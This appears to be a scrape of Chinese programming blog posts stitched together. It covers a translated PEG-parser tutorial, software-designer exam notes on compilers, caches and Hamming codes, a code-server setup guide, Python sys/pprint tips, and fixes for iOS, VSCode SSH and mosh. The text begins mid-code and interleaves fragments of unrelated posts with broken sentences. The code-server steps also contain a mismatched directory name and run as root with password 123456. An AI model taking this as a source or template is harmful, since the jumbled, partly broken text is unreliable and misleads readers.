if endpos <= lastpos:
break
memo[key] = lastres, lastpos = res, endpos
res = lastres
self.reset(lastpos)
return res
return memoize_left_rec_wrapper
@memoize_left_rec
def expr(self):
pos = self.mark()
if ((expr := self.expr()) and
self.expect('+') and
(term := self.term())):
return Node('expr', [expr, term])
self.reset(pos)
if term := self.term():
return Node('term', [term])
self.reset(pos)
return None
foo + bar + baz
。 # Prime the cache with a failure.
memo[key] = lastres, lastpos = None, pos
expr := self.expr()
)。所以我们继续到第二个 if,它成功识别了一个 term(在我们的例子中是 ‘foo’),expr 返回一个 Node 实例。它返回到了哪里?到了装饰器里的 while 循环。这新的结果会更新 memo 缓存(那个 node 实例),然后开始下一个迭代。foo + bar
,回到 while 循环,还会经历相同的过程:用新的(更长的)结果来更新 memo 缓存,并开启下一轮迭代。(foo + bar) + baz
,并返回给 while 循环,后者将它填充进 memo 缓存,并再次迭代。1、低级语言:0、1组成的机器指令序列或汇编语言
2、高级语言:java、c、c++、Python、Delphi、PASCAL
3、编译程序:将源程序翻译成目标语言程序,然后再计算机上运行目标程序。
4、解释程序:直接解释或翻译成中间代码。不生成独立的目标程序。
1、词法分析阶段:输入源程序,对构成源程序的字符串进行扫描和分解,识别出一个个单词,删掉无用的信息,报告分析时的错误。
2、语法分析阶段:语法分析器以单词符号作为输入,分析单词符号是否形成符合语法规则的语法单位,如表达式、赋值、循环等,按语法规则分析检查每条语句是否有正确的逻辑结构。
3、语义分析阶段:主要检查源程序是否存在静态语义错误,并收集类型信息供后面的代码生成阶段使用,如:赋值语句的右端和左端的类型不匹配。表达式的除数是否为零等。
4、中间代码是源程序的一种内部表示,或称中间语言。中间代码的作用是使编译程序的结构在逻辑上更为简单明确。使用中间代码可提高编译程序的可移植性,常见的有逆波兰记号、四元式、三元式和树。
5、中间代码优化和目标代码生成
6、符号表管理——记录符号的信息
7、出错处理——静态错误(语法错误、静态语义错误)、动态错误
文法G定义为一个四元组(VN,VT,P,S),其中,VN为非终结符集合,VT终结符集合;P是产生式结合;S称为识别符或开始符号,也是一个非终结符,至少要在一条产生式的左边出现。
0型文法:短语文法、图灵机、递归枚举
1型文法:上下文有关文法
2型文法:上下文无关文法(广泛使用)
3型文法:正规式
计算机控制系统的控制程序具有有限状态自动机(FA)的特征,可以用有限状态机理论来描述。
原本遇到的问题是ios上触发不了onclick事件。简单检索一番就找到了答案,只需要在相应的控件上加上样式cursor:pointer
即可。原因是非点击元素上绑定了点击事件,IOS不能识别,所以在元素加个样式就可以了。
微应用上一个字段需要输入日期,所以直接把钉钉日期控件加载了,测试的时候,安卓一切正常,会弹一个浮层出来显示完整的日历,也美观。到了IOS上却不行了,无法弹出日历。然后就去看了钉钉文档。明明是支持的,就奇怪了。因为日历组件我是通过click触发的,所以很容易想到是不是IOS无法触发click事件的问题,所以就有了前面这个办法。然后自感不对,因为input原本就是可点击元素。问题不在这里,直到下班无解。晚上回家,翻手机的时候,无意间发现安卓上面的日历浮层下面弹出了键盘。因为安卓的日期是浮层显示的,所以键盘完全没影响。再去看钉钉文档上的示例图显示IOS的是日期选择器,并且和键盘弹出方式一样,该不会被键盘挡住了吧。
简单测试一般,用div标签替换了input,很明确就是被键盘遮挡了日期选择器。所以改造一下input的输入即可。钉钉日期组件是回调一个日期的,所以通过jquery将结果写回input的方式操作。那就简单了,把input设为readonly熟悉。这样就无法触发焦点,IOS也就不弹键盘了,但是还有个问题,就是input置灰了,不知道的以为不能输入,用户体验不好,所以再给input加个样式background-color:#ffffff
的样式即可。
Windows 10 自带了 OpenSSH 工具包(C:\Windows\System32\OpenSSH\),但是用私钥连接的时候老是出现 Bad owner or permissions on C:\\Users\\username/.ssh/config
。而 Visual Studio Code 的插件 Remote SSH 就要依赖 ssh,所以看到了同样的报错。
Windows 的权限体系和 Linux 不太一样,反正我是没搞懂。尝试了官方文档里的 PowerShell 指令,并没有作用(详见我的提交的 Issue)。还瞄到一个 Issue,搞不好和我用的是 Windows 10 Home 有关(电脑预装的就是 Home,我才不加钱升 Pro 呢)。
然后我发现 VSCode Remote SSH 有一个选项 remote.SSH.path
,这里可以指定要使用的 SSH 可执行文件,那我复制一个 C:\Windows\System32\OpenSSH\
下的 ssh.exe
到电脑的普通目录不就行了?改完立刻连上了。
PS. 可以顺便把配置文件也到改成自己的路径(remote.SSH.configFile
)。
The post VSCode Remote SSH: Bad Owner or Permissions appeared first on 樱花庄的白猫.
内存编址:存储器由一块块的空间(存储单元)组成,为了方便寻找到每一块空间,我们需要对每一个空间进行标识。
内存容量:存储器的大小。内存容量=每个芯片容量*芯片个数。每个芯片容量=一个地址代表的容量*编址总数。
数据总线:计算机一次处理n位的数据,则数据总线的长度为n。注意的是,数据总线的长度并不一定代表一个地址的长度。
字:和数据总线紧密相关。数据总线有几位,则一个字就有多少位组成。如64位计算机,表示一次可以处理64位数据,则1个字就是64位。
地址总线:假如需要n位二进制数来表示所有的地址,则地址总线的个数为n。
Cache:在CPU的所有操作中,访问内存是最频繁的操作。由于一般微机中的主存储器的工作速度比CPU低一个数量级,加上CPU的所有访问都要通过总线这个瓶颈,所以缩短存储器的访问时间是提高计算机速度的关键。采用在CPU喝内存之间加高速缓冲存储器cache的办法较好的解决的这一问题。简单来说cache是为了解决高速运行的CPU和主存储器之间速度不匹配的问题。
cache的性能:CPU在访问内存时,首先判断所要访问的内容是否在cache中,如果在,就成为“命中”,此时CPU直接从cache中调用该内容;否则就成为“不命中”,CPU只好去内存中调用所需的子程序或指令了。CPU不但可以直接从cache中读出内容,也可以直接往其中写入内容。由于cache的存取速度相当快,使得CPU的利用率大大提高,进而使整个系统的性能得以提升。如果以Hc为代表对caceh的访问命中率,tc为cache的存取时间,tm为主存的访问时间,则cache的平均访问时间ta=Hctc+(1-Hc)tm
写策略:因为cache的内容是部分主存内容的副本,应该与主存内容保持一致,而CPU对cache的写入更改了cache的内容,如何与主存内容保持一致就有几种操作工作方式可供选择
1、写回法(write——back)
当CPU对cache写命中时,只修改cache的内容不立即写入主存,只当此行被换出时才写回主存。这种策略使cache在CPU和主存之间不仅在读方向而且在写方向上都起到高速缓存作用。
2、写直达法(write——through)
又称全写法,写透。是当cache写命中时,cache与主存同时发生写修改。
3、标记法
数据进入cache后,有效位置1,当CPU对该数据修改时,数据只写入主存并将该有效位置0。要从cache中读取数据时要测试其有效位,若为1则直接从cache中读取,否则从主存中读取。
磁盘存储器结构:
总线:总线(Bus)是计算机各种功能部件之间传送信息的公共通信干线。
按照总线相对应CPU或其他芯片的位置可分为:
1、内部总线:寄存器之间和算数逻辑不见ALU与控制不见之间传输数据所用的总线。
2、外部总线:CPU与内存和I/O设备接口之间的通讯
一、顺序方式。各条机器指令之间顺序穿行的执行,执行完一条指令后才取下一条指令。缺点是速度慢,机器各部件利用率低。
二、重叠方式。在解释第K条指令的操作完成之前就可以开始解释第K+1条指令。
三、流水线方式。
1、流水线周期:执行时间最长的一段
2、吞吐率和最大吞吐率:吞吐率是指单位内流水线处理机流出的结果数。对指令而言就是单位时间内执行的指令数。
3、流水线加速比:不使用流水线执行时间/使用流水线执行时间
尝试了 material-components-web 提供的自动初始化方法 mdc-auto-init,感觉要是分别给每个 HTML 标签做标记的话比较繁琐,所以自己写了一个初始化方法。
思路是,把要用到的 node 和 constructor 都写在一个配置文件里面(其实就是一个 list 而已),然后初始化函数遍历配置,并完成相应的构建。
// ./components/mdcConf.ts
// 记得先导入需要用到的包
import { MDCRipple } from '@material/ripple';
import { MDCTextField } from '@material/textfield';
import { MDCTopAppBar } from '@material/top-app-bar';
// 下面是配置,很容易理解吧
const Conf = [
['.mdc-top-app-bar', MDCTopAppBar],
['.mdc-text-field', MDCTextField],
[
[
'.mdc-button',
'.primary-action',
],
MDCRipple
],
]
export default Conf
// ./components/mdcInit.ts
import mdcConf from "./mdcConf"
const Conf = mdcConf
/**
* 初始化函数
* 参考 <https://git.io/JegHJ>
*/
export default function () {
let components = []
for (const i of Conf) {
if (typeof (i[0]) == 'string') {
const component = i[0]
const constructor = i[1]
components.map.call(document.querySelectorAll(component), function (e: any) {
return new constructor(e)
})
} else if (typeof (i[0]) == 'object') {
const component = i[0].join(',')
const constructor = i[1]
components.map.call(document.querySelectorAll(component), function (e: any) {
return new constructor(e)
})
}
}
}
最后在需要的地方调用初始化函数就行了!
// ./index.ts
import mdcInit from "./components/mdcInit"
window.onload = function () {
mdcInit()
}
一个编码系统的码距就是整个编码系统中任意两个码字的最小距离。若一个编码系统有四种编码分别为:0000,0011,1100,1111,此编码系统中0000与1111的码距为4;0000与0011的码距为2,是此编码系统的最小码距。因此该系统的码距为2。
1、在一个码组内为了检测e个误码,要求最小码距应该满足:d>=e+1
2、在一个码组内为了纠正t个误码,要求最小码距应该满足:d>=2t+1
3、在一个码组内同时纠错检错,要求最小码距应该满足:d>=e+t+1
例:假如现在要对A、B两个字母进行编码。可以选用不同长度的编码,以产生不同码距的编码,分析它们的检错纠错能力。
1、若用1位长度的二进制编码。A=1,B=0。这样A、B之间的最小码距为1。合法码:{0,1};非法码:{0,1};
2、若采用2位长度的二进制编码,可选用11,00作为合法编码,也可以选用01,10作为合法编码。若A=11,B=00为例,A、B之间最小码距为2.合法码:{11,00};非法码:{01,10}。
3、若用3位长度的二进制编码,可选用111,000作为合法编码。A、B之间最小码距为3。合法码:{111,000};非法码:{001,010,011,100,101,110}。
只能检测代码中奇数位出错的编码,但不能发现偶数位出错的情况。
海明码的校验码的位置必须是2ⁿ位置(n从0开始,代表从左边数起分别是第1、2、4、8、16、32....),信息码也就是在非2n位置。
设数据位是n位,校验位是k位,则n和k必须满足一下关系:2k≥n+k+1
计算机中的执行指令读取数据都是通过二进制数来实现的,十进制通常是人所使用的,而内存编制又是十六进制的,所以掌握各个进制的转换对了解计算机基础异常重要。
十进制转二进制使用除二取余法,如86转换为二进制数为
86/2余0
43/2余1
21/2余1
10/2余0
5/2余1
2/2余0
1
将余数从下往上排列,即可得到:1010110
二进制转八进制时,从右开始,每三位为一组,不够三位的补0即可,如11101001转换为八进制为
011 101 001
8421码:
64 | 32 | 16 | 8 | 4 | 2 | 1 |
0 | 0 | 1 | ||||
1 | 0 | 1 | ||||
0 | 1 | 1 |
采用8421码,很容易得出结果为351
二进制转十六进制,每四位为一组,不够四位的补0,如11101001转换为十六进制为
1110 1001
64 | 32 | 16 | 8 | 4 | 2 | 1 |
1 | 0 | 0 | 1 | |||
1 | 1 | 1 | 0 |
采用8421码,很容易得出结果为E9
原反补移码是指采用8bit的二进制
这是个软考中级(软件设计师)的系列学习笔记,大概一天一更,持续2个月左右。啥是软考?即计算机技术与软件专业技术资格考试,分成高级,中级,初级。这是个职称考试,计算机类职称是以考代评的。高级考出来就是高级工程师,中级考出来就是工程师,初级考出来是助理工程师。职称有啥用?我考的目的跟留在魔都有关。根据目前上海的落户政策,居住证满7年,取得中级以上职称,无犯罪记录的可以参加落户排队(大概2016年55W人排队,不足3W人成功落户)。虽然渺茫,就跟买彩票似的,可是不还是得买吗?
1、程序控制功能。CPU通过执行指令来控制程序的执行顺序。
2、操作控制
3、时间控制
4、数据处理。CPU最根本的任务。
1、运算器,也称算数逻辑单元。完成各种算数运算和逻辑运算
a、算数逻辑单元ALU:数据的算数运算和逻辑运算
b、累加寄存器AC:通用寄存器,为ALU提供一个工作区,用在暂存数据
c、数据缓存寄存器DR:写内存时,暂存指令或数据
d、状态条件寄存器PSW:存储状态标志与控制标志。
2、控制器,控制器是分析和执行指令的不见,也是统一指挥并控制计算机各不见协调工作的中心部件。
a、程序计数器PC:存储下一条要执行指令的地址
b、指令寄存器IR:存储即将执行的指令
c、指令译码器ID:对指令中的操作码字段进行分析解释
d、地址寄存器AR:用来保存CPU所访问的内存单元的地址。
e、时序不见:提供时序控制信号
非冯诺依曼式的分类方法Flynn分类:根据指令流、数据流的多倍性特征对计算机系统进行分类。
指令流:指机器执行的指令序列。
数据流:指由指令调用的数据序列,包括输入数据和中间结果,但不包括输出数据源。
1、单指令流单数据流(SISD):就是传统的顺序执行的单处理器计算机,其指令部件每次只对一条指令进行译码,并支队一个操作部件分配数据
2、单指令流多数据流(SIMD):以并行处理机(矩阵处理器)为代表,并行处理机包括多个重复的处理单元,由单一指令部件控制,按照同一指令流的要求为它们分配各自所需的不同数据。
3、多指令流单数据流(MISD):具有n个处理单元,按n条不同指令的要求对同一数据流及其中间结果进行不同的处理。一个处理单元的输出又作为另一个处理单元的输入。这类系统实际上很少见到。
4、多指令流多数据流(MIMD):指能实现作业、任务、指令等各级全面并行的多机系统,如多核处理器、多处理机属于MIMD
1、复杂指令系统(CISC)的特点:
a、指令数量众多。指令系统拥有大量的指令,通常有100-250条。
b、指令使用频率相差悬殊。最常用的是一些比较简单的指令,仅占指令总数的20%,但在程序中出现的频率却占80%。多大部分复杂指令却很少使用。
c、支持很多种寻址方式。支持的寻址方式通常为5-20种。
d、变长的指令。指令长度不是固定的,变长的指令增加指令译码电路的复杂性。
2、精简指令系统(RISC)的特点:
a、指令数量少,优先选取使用频率最高的一些简单指令和一些常用指令。避免使用复杂指令。只提供了LOAD(从存储器中读数)和STOREBA (把数据写入存储器)两条指令对存储器操作,其余所有的操作都在CPU喝寄存器之间进行。
b、指令的寻址方式少。通常只支持寄存器寻址方式、立即数寻址方式和相对寻址方式。
c、指令长度固定,指令格式种类少。因为RISC指令数量少、格式少、相对简单,其指令长度固定,指令之间各字段的划分比较一致,译码相对容易。
d、以硬布线逻辑控制为主。为了提高操作的执行速度,通常采用硬布线逻辑来构建控制器。
e、但指令执行方式,采用流水线技术。因为简化了指令系统,很容易利用流水线技术,使得大部分指令都能在一个机器周期内完成。少数指令可能会需要多周期,例如,LOAD/STORE指令因为需要访问存储器,其执行时间就会长一些。
f、优化的编译器:RISC的精简指令集使编译工作简单化。因为指令长度固定、格式少、寻址方式少,编译时不必在具有相似功能的许多指令中进行选择,也不必为寻址方式的选择而费心,同时易于实现优化,从而可以生成高效率执行的机器代码。
g、CPU中的通用寄存器数量多,一般在32个以上,有的可达上百个。
sys
模块极为基础而重要,它主要提供了一些给解释器使用(或由它维护)的变量,以及一些与解释器强交互的函数。getsizeof()
方法,因此,我先简要介绍一下:import sys
a = [1, 2]
b = [a, a] # 即 [[1, 2], [1, 2]]
# a、b 都只有两个元素,所以直接占用的大小相等
sys.getsizeof(a) # 结果:80
sys.getsizeof(b) # 结果:80
import sys
sys.getsizeof("") # 49
sys.getsizeof([]) # 64
sys.getsizeof(()) # 48
sys.getsizeof(set()) # 224
sys.getsizeof(dict()) # 240
# 作为参照:
sys.getsizeof(1) # 28
sys.getsizeof(True) # 28
import sys
letters = "abcdefghijklmnopqrstuvwxyz"
a = []
for i in letters:
a.append(i)
print(f'{len(a)}, sys.getsizeof(a) = {sys.getsizeof(a)}')
b = set()
for j in letters:
b.add(j)
print(f'{len(b)}, sys.getsizeof(b) = {sys.getsizeof(b)}')
c = dict()
for k in letters:
c[k] = k
print(f'{len(c)}, sys.getsizeof(c) = {sys.getsizeof(c)}')
# 静态创建对象
set_1 = {1, 2, 3, 4}
set_2 = {1, 2, 3, 4, 5}
dict_1 = {'a':1, 'b':2, 'c':3, 'd':4, 'e':5}
dict_2 = {'a':1, 'b':2, 'c':3, 'd':4, 'e':5, 'f':6}
sys.getsizeof(set_1) # 224
sys.getsizeof(set_2) # 736
sys.getsizeof(dict_1) # 240
sys.getsizeof(dict_2) # 368
list_1 = ['a', 'b']
list_2 = ['a', 'b', 'c']
list_3 = ['a', 'b', 'c', 'd']
list_4 = ['a', 'b', 'c', 'd', 'e']
sys.getsizeof(list_1) # 80
sys.getsizeof(list_2) # 88
sys.getsizeof(list_3) # 96
sys.getsizeof(list_4) # 104
import sys
a = [1, 2, 3, 4]
sys.getsizeof(a) # 初始值:96
a.append(5) # 扩充后:[1, 2, 3, 4, 5]
sys.getsizeof(a) # 扩充后:128
a.pop() # 缩减后:[1, 2, 3, 4]
sys.getsizeof(a) # 缩减后:128
import sys
a = [1, 2, 3]
b = {1, 2, 3}
c = {'a':1, 'b':2, 'c':3}
sys.getsizeof(a) # 88
sys.getsizeof(b) # 224
sys.getsizeof(c) # 240
a.clear() # 清空后:[]
b.clear() # 清空后:set()
c.clear() # 清空后:{},也即 dict()
# 承接前面的清空操作:
sys.getsizeof(a) # 64
sys.getsizeof(b) # 224
sys.getsizeof(c) # 72
!{Demo}(https://view.moezx.cc/images/2019/10/28/code-server.png)
Visual Studio Code on Chrome
Visual Studio Code Remote Development 让你可以在容器中、远程设备上、甚至是 Windows 的 Linux 子系统(WSL)上使用具有完整功能的开发环境。你可以:
· 在与部署环境相同的操作系统下开发,或使用更强悍、更专业的硬件。
· 将开发环境沙盒化,以避免影响本地计算机配置。
· 使新贡献者易于上手,并使每个人都处于一致的环境中。
· 使用本地操作系统上不可用的工具或 runtime,亦或管理它们的多个版本。
· 使用 Windows Linux 子系统开发 Linux 应用程序。
· 从设备或位置访问现有的开发环境。
· 调试在其他位置(例如客户站点或云中)运行的应用程序。
整个远程开发体系的原理就是,把前端可视化部分剥离出来,在浏览器上运行,而后端仅处理 Terminal、Application、Debugger、文件读写等工作流,具体架构如图:
!{architecture}(https://view.moezx.cc/images/2019/10/28/architecture.png)
官方的 VSCode-remote 插件要求在本地安装 VSCode 和 remote 插件,通过 SSH 连接服务器上的 VSCode 服务端;而 coder.com 开源的服务器端——code-server——则可以直接在浏览器上访问 VSCode 的远程开发环境,这样一来,你可以在任何平台上使用 VSCode,甚至手机上。
[github repo="cdr/code-server"]
安装配置很简单,这里有三种方法:Docker、运行二进制发行版、自行编译。这里我选择的是使用发行版。
A 64-bit host with at least 1GB RAM and 2 cores.
官方给的配置要求,不过我单核其实也没啥问题。但是 VS Code 挺占内存的(2G 的机器,大概占了我 1G 的内存)。平民 VPS 跑发行版应该问题不大,但是编译的话就别想了,内存肯定不够的。
以 Ubuntu 18.04 为例:
下载安装并运行发行版,这里获取最新版:
wget https://github.com/cdr/code-server/releases/download/2.1655-vsc1.39.2/code-server2.1655-vsc1.39.2-linux-x86_64.tar.gz
tar xvzf code-server2.1655-vsc1.39.2-linux-x86_64.tar.gz
cd code-server2.1650-vsc1.39.2-linux-x86_64
# 设置密码
export PASSWORD=123456
./code-server --auth password
之后服务器将运行在本地 8080
端口,可以使用 Nginx 反代 8080
端口,也可以用 code-server 的参数自定义 host、端口、证书路径、SSL、socket 等,具体可用 ./code-server --help
查看参数说明。
code-server 可以自定义域名并支持 SSL,不过还是习惯了 Nginx。
server{
listen 443 ssl;
listen [::]:443 ssl;
server_name code.moezx.cc;
location / {
proxy_pass http://localhost:8080/;
proxy_set_header Host $host;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection upgrade;
proxy_set_header Accept-Encoding gzip;
}
}
创建 Systemd unit(请不要在 Windows 的文本编辑器上编辑以下文件,换行符不同可能导致 Linux 异常):
sudo nano /etc/systemd/system/code-server.service
添加下面的配置:
[Unit]
Description=Code Server IDE
After=network.target
[Service]
Type=simple
User=root
Restart=on-failure
RestartSec=10
Environment="PASSWORD=123456"
ExecStart=/path/to/code-server --auth password
StandardOutput=file:/var/log/code-server-output.log
StandardError=file:/var/log/code-server-error.log
[Install]
WantedBy=multi-user.target
启动服务即可,今后开机将自动启动:
systemctl start code-server
The post Visual Studio Code Remote Development appeared first on 樱花庄的白猫.
statement
和assignment
开头)表示尚未返回的解析方法调用,并且当标记位置处在第一个标记符(‘aap’ )之前时调用。expr
和term
开头)与标记符'cat'
的开头垂直对齐,后者是调用相应解析方法的地方。expect('/')
调用,它返回 None 。它是在标记符'+'
处被调用的。'if'
以及规则if_statement
。我们还发现标记符'='
和NAME
(特别是'cat'
)所成功缓存的条目,它们与将来的输入位置相对应。function(args) -> result
。有时解析器堆栈也会显示几个已返回的方法——我这样做是为了减少显示时的“跳跃性”。term '+' expr
);而在 term 规则中,我们处在最后的选项(atom
)。atom '/' term
)失败的结果:expect('/') - > None
用 ’+’ 标记符缩进。当我们将可视化向前移动时,我们会看到它沉入缓存中。gif图:https://raw.githubusercontent.com/gvanrossum/pegen/master/story3/tty.gif
'aap'
被显示之前,就增长了几个条目)。ttygif
(Ilia Choly 开发) 和 ttyrec
(Matthew Jording 开发)。pprint
模块。mylist = ["Beautiful is better than ugly.", "Explicit is better than implicit.", "Simple is better than complex.", "Complex is better than complicated."]
print(mylist)
# 结果如下:
['Beautiful is better than ugly.', 'Explicit is better than implicit.', 'Simple is better than complex.', 'Complex is better than complicated.']
import pprint
# 打印上例的 mylist
pprint.pprint(mylist)
# 打印的元素是换行的(因为超出80字符):
['Beautiful is better than ugly.',
'Explicit is better than implicit.',
'Simple is better than complex.',
'Complex is better than complicated.']
pprint.pprint(mylist, indent=4)
[ 'Beautiful is better than ugly.',
'Explicit is better than implicit.',
'Simple is better than complex.',
'Complex is better than complicated.']
mydict = {'students': [{'name':'Tom', 'age': 18},{'name':'Jerry', 'age': 19}]}
pprint.pprint(mydict)
# 未超长:
{'students': [{'age': 18, 'name': 'Tom'}, {'age': 19, 'name': 'Jerry'}]}
pprint.pprint(mydict, width=20)
# 超长1:
{'students': [{'age': 18,
'name': 'Tom'},
{'age': 19,
'name': 'Jerry'}]}
pprint.pprint(mydict, width=70)
# 超长2:
{'students': [{'age': 18, 'name': 'Tom'},
{'age': 19, 'name': 'Jerry'}]}
newlist = [1, [2, [3, [4, [5]]]]]
pprint.pprint(newlist, depth=3)
# 超出的层级会用...表示
[1, [2, [3, [...]]]]
<Recursion on typename with id=number>
的格式。newlist = [1, 2]
newlist.insert(0, newlist)
# 列表元素指向列表自身,造成循环引用
# 直接 print 的结果是:[[...], 1, 2]
pprint.pprint(newlist)
# [<Recursion on list with id=1741283656456>, 1, 2]
pprint.saferepr(newlist)
# '[<Recursion on list with id=1741283656456>, 1, 2]'
pprint.isrecursive(newlist)
# True
pprint.isreadable(newlist)
# False
import pprint
print = pprint.pprint
mylist = ["Beautiful is better than ugly.", "Explicit is better than implicit.", "Simple is better than complex.", "Complex is better than complicated."]
print(mylist)
# 可对比本文开头的例子
['Beautiful is better than ugly.',
'Explicit is better than implicit.',
'Simple is better than complex.',
'Complex is better than complicated.']
beeprint
,明显是对标 pprint
的。CC BY-NC-SA 4.0
许可协议进行授权。部分对话如下:Creative Commons license
,译作知识共享许可协议 ,发布于 2002.12.16,目前已发展到 4.0 版本。改编、翻译、注释、整理已有作品而产生的作品,其著作权由改编、翻译、注释、整理人享有,但行使著作权时不得侵犯原作品的著作权。
mosh 是一个非常不错的 ssh 软件,通过 ssh over udp 的方式,能够解决网络切换导致 ssh session 断开的问题,搭配 tmux 使用非常好用。
tmux 解决了远程工作 session 的持续性,重新 ssh 连接后,直接 attach 即可;而 mosh 则解决了重新连接的问题,mosh 能够做到在网络切换(例如:在工位上是有线网络,抱着笔记本去开会的时候,会连接到无线网络) 导致 ssh 断开连接的问题。
mosh 的使用这里不再介绍,非常简单,远程和本地都安装 mosh 这个包即可。
这里讲一下在 mac 上实际遇到一个问题,mac 上连接远程的时候,mosh 报错,连不上。打印的输出如下:
The locale requested by LC_CTYPE=UTF-8 isn't available here.
Running `locale-gen UTF-8' may be necessary.
The locale requested by LC_CTYPE=UTF-8 isn't available here.
Running `locale-gen UTF-8' may be necessary.
mosh-server needs a UTF-8 native locale to run.
Unfortunately, the local environment (LC_CTYPE=UTF-8) specifies
the character set "US-ASCII",
The client-supplied environment (LC_CTYPE=UTF-8) specifies
the character set "US-ASCII".
locale: Cannot set LC_CTYPE to default locale: No such file or directory
locale: Cannot set LC_ALL to default locale: No such file or directory
...
省略
...
上面这个问题咋一看会忽略,因为通常 locale
问题都不是问题,但是这里确实关键;上面的错误提示当前 locale 的 LC_CTYPE
不满足需求,所以用 locale 命令查看一下:
LANG="en_US.UTF-8"
LC_COLLATE="en_US.UTF-8"
LC_CTYPE="UTF-8"
LC_MESSAGES="en_US.UTF-8"
LC_MONETARY="en_US.UTF-8"
LC_NUMERIC="en_US.UTF-8"
LC_TIME="en_US.UTF-8"
LC_ALL=
可以看到,LC_CTYPE
的值是 UTF-8,也就是只有字符集,没有设置语言,也就是常见的 zh_CN
, en_US
这种。
这里一个是在终端直接导出:
export LC_CTYPE="en_US.UTF-8"
或者可以配置 iTerm2 的属性,在 Preferences -> Advanced
里搜索 LC_CTYPE
,然后将默认的 value 修改为 en_US.UTF-8
即可。
然后,新开启 iTerm2 console,mosh 就能正常连接了。
@memoize
装饰器,以实现packrat 解析。statement: assignment | expr | if_statement
expr: expr '+' term | expr '-' term | term
term: term '*' atom | term '/' atom | atom
atom: NAME | NUMBER | '(' expr ')'
assignment: target '=' expr
target: NAME
if_statement: 'if' expr ':' statement
grammar: rule+ ENDMARKER
rule: NAME ':' alternative ('|' alternative)* NEWLINE
alternative: item+
item: NAME | STRING
NAME
和STRING
)__repr__
与__eq__
:class Rule:
def __init__(self, name, alts):
self.name = name
self.alts = alts
GrammarParser
类(关于基类Parser
,请参阅我之前的帖子):class GrammarParser(Parser):
def grammar(self):
pos = self.mark()
if rule := self.rule():
rules = [rule]
while rule := self.rule():
rules.append(rule)
if self.expect(ENDMARKER):
return rules # <------------- final result
self.reset(pos)
return None
def rule(self):
pos = self.mark()
if name := self.expect(NAME):
if self.expect(":"):
if alt := self.alternative():
alts = [alt]
apos = self.mark()
while (self.expect("|")
and (alt := self.alternative())):
alts.append(alt)
apos = self.mark()
self.reset(apos)
if self.expect(NEWLINE):
return Rule(name.string, alts)
self.reset(pos)
return None
def alternative(self):
items = []
while item := self.item():
items.append(item)
return items
def item(self):
if name := self.expect(NAME):
return name.string
if string := self.expect(STRING):
return string.string
return None
ENDMARKER
,它用来确保在最后一条规则后没有遗漏任何东西(如果语法中出现拼写错误,可能会导致这种情况)。ToyParser
类很相似,所以我不作解释。[
Rule('statement', [['assignment'], ['expr'], ['if_statement']]),
Rule('expr', [['term', "'+'", 'expr'],
['term', "'-'", 'term'],
['term']]),
Rule('term', [['atom', "'*'", 'term'],
['atom', "'/'", 'atom'],
['atom']]),
Rule('atom', [['NAME'], ['NUMBER'], ["'('", 'expr', "')'"]]),
Rule('assignment', [['target', "'='", 'expr']]),
Rule('target', [['NAME']]),
Rule('if_statement', [["'if'", 'expr', "':'", 'statement']]),
]
def generate_parser_class(rules):
print(f"class ToyParser(Parser):")
for rule in rules:
print()
print(f" @memoize")
print(f" def {rule.name}(self):")
print(f" pos = self.mark()")
for alt in rule.alts:
items = []
print(f" if (True")
for item in alt:
if item[0] in ('"', "'"):
print(f" and self.expect({item})")
else:
var = item.lower()
if var in items:
var += str(len(items))
items.append(var)
if item.isupper():
print(" " +
f"and ({var} := self.expect({item}))")
else:
print(f" " +
f"and ({var} := self.{item}())")
print(f" ):")
print(f" " +
f"return Node({rule.name!r}, [{', '.join(items)}])")
print(f" self.reset(pos)")
print(f" return None")
'+'
,我们生成self.expect('+')
NAME
,我们生成(name := self.expect(NAME))
expr
,我们生成 (expr := self.expr())
term '-' term
),我们会在第二个条目后附加一个数字。这里还有个小小的 bug,我会在以后的内容中修复。if (True and … )
语句,我使用它们,以便每个生成的条件都能够以and
开头。Python 的字节码编译器会优化它。class ToyParser(Parser):
@memoize
def statement(self):
pos = self.mark()
if (True
and (assignment := self.assignment())
):
return Node('statement', [assignment])
self.reset(pos)
if (True
and (expr := self.expr())
):
return Node('statement', [expr])
self.reset(pos)
if (True
and (if_statement := self.if_statement())
):
return Node('statement', [if_statement])
self.reset(pos)
return None
...
@memoize
装饰器:我“偷运”(smuggle)它进来,以便转向另一个主题:使用记忆法(memoization)来加速生成的解析器。def memoize(func):
def memoize_wrapper(self, *args):
pos = self.mark()
memo = self.memos.get(pos)
if memo is None:
memo = self.memos[pos] = {}
key = (func, args)
if key in memo:
res, endpos = memo[key]
self.reset(endpos)
else:
res = func(self, *args)
endpos = self.mark()
memo[key] = res, endpos
return res
return memoize_wrapper
self
,指向 ToyParser 实例,后者会调用被装饰的函数。self.memos = {}
添加到 Parser.__init__()
,以初始化它。self.mark()
中获得的一个新的输入位置。self.reset()
来向前移动输入位置,最后返回那缓存中的返回值。assert
断言来检查它。(pos, func, args)
作为 key,以摆脱嵌套字典的设计。statement: assignment | expr | if_statement
expr: expr '+' term | expr '-' term | term
term: term '*' atom | term '/' atom | atom
atom: NAME | NUMBER | '(' expr ')'
assignment: target '=' expr
target: NAME
if_statement: 'if' expr ':' statement
statement
,我们有如下函数:def statement():
if assignment():
return True
if expr():
return True
if if_statement():
return True
return False
get_token()
,它返回输入内容中的下一个标记,每次消费掉几个字符。tokenize
模块对它作了进一步简化:它的基础 API 是一个生成器,每次生成(yield)一个标记。TypeInfo
对象,它有几个字段,其中最重要之一表示的是标记的类型(例如 NAME
、NUMBER
、STRING
),还有一个很重要的是字符串值,表示该标记所包含的字符(例如 abc
、42
或者 "hello world"
)。还有的字段会指明每个标记出现在输入文件中的坐标,这对于报告错误很有用。ENDMARKER
,它表示的是抵达了输入文件的末尾。如果你忽略它,并尝试获取下一个标记,则生成器会终结。itertools.tee()
来做,但是根据文档中的警告,在我们这种情况下,效率可能较低。)Tokenizer
对象封装了一个数组,存放标记及其位置信息。get_token()
返回下一个标记,并推进数组的索引(如果到了数组末尾,则从源码中读取另一个标记)mark()
返回数组的当前索引reset(pos)
设置数组的索引(参数必须从 mark() 方法中得到)peek_token()
,它返回下一个标记且不推进索引。class Tokenizer:
def __init__(self, tokengen):
"""Call with tokenize.generate_tokens(...)."""
self.tokengen = tokengen
self.tokens = []
self.pos = 0
def mark(self):
return self.pos
def reset(self, pos):
self.pos = pos
def get_token(self):
token = self.peek_token()
self.pos += 1
return token
def peek_token(self):
if self.pos == len(self.tokens):
self.tokens.append(next(self.tokengen))
return self.tokens[self.pos]
Parser
类一个 expect()
